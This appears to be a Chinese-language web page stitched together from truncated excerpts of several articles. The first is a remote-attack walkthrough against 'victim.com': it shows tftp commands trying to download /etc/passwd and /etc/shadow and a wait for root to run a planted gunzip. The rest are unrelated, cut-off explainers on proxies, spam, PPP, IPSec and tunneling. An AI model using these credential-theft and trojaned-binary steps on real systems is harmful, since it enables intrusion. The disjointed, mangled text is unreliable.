列举出 victim.com 的系统类型(e.g.SunOS 5.7),提供的服务(e.g.WWW)和存在的脆弱性)二、隔山打牛（远程攻击）1) 隔空取物:取得passwd1.1) tftp# tftp numentftp get /etc/passwdError code 2: Access violationtftp get /etc/shadowError code 2: Access violationtftp quit(samsa:一无所获,但是...)# tftp sun

盼着root尽快执行gunzip吧...过了两天：$ cd /opt/gnu$ ls altotal 24drwxrwxrwx 7 root other 512 5月 14 11:54 .drwxrwxrx 9 root sys 512 5月 19 15:37 ..drwxrxrx 2 zw other 1536 1998 11月 2 .TT_RTdrwxrxrx 2 root staff 1536 5月 14 16:10 bindrwxrxrx 3 root other 512 1996 11月 29 includedrwxrxrx 2 root other

代理服务器(Proxy Server)是指那些自己不能执行某种操作的计算机，通过一台服务器来执行该操作，该服务器即为代理服务器。代理服务器是伴随着Internet应运而生的网络服务技术，它可以实现网络的安全过滤、流量控制(减少Internet使用费)、用户管理等功能，因此代理服务器对家庭网络、小型企业网络的用户十分有用。它不但可以

随着垃圾邮件的爆增，人们都在为此而感到头痛。如果垃圾邮件数量少的话，手动删除掉也就可以了，但每天都有几十封甚至数百封的话，光是删除这些垃圾就要花费不少的时间和精力，以至影响到工作效率。垃圾邮件不仅占据并浪费了宝贵的网络资源，而且带来了严重的社会问题。有很多IP地址被国际上的某些反垃圾邮件组织和网络

一旦完成上述4阶段的协商，PPP就开始在连接对等双方之间转发数据。每个被传送的数据报都被封装在PPP包头内，该包头将会在到达接收方之后被去除。如果在阶段1选择使用数据压缩并且在阶段4完成了协商，数据将会在被传送之间进行压缩。类似的，如果如果已经选择使用数据加密并完成了协商，数据（或被压缩数据）将会在传送之前

IPSEC是一种由IETF设计的端到端的确保基于IP通讯的数据安全性的机制。IPSEC支持对数据加密，同时确保数据的完整性。按照IETF的规定，不采用数据加密时，IPSEC使用验证包头（AH）提供验证来源验证（source authentication)，确保数据的完整性；IPSEC使用封装安全负载（ESP）与加密一道提供来源验证，确保数据完整性。IPSEC协

对于象PPTP和L2TP这样的第2层隧道协议，创建隧道的过程类似于在双方之间建立会话；隧道的两个端点必须同意创建隧道并协商隧道各种配置变量，如地址分配，加密或压缩等参数。绝大多数情况下，通过隧道传输的数据都使用基于数据报的协议发送。隧道维护协议被用来作为管理隧道的机制。第3层隧道技术通常假定所有配置问题已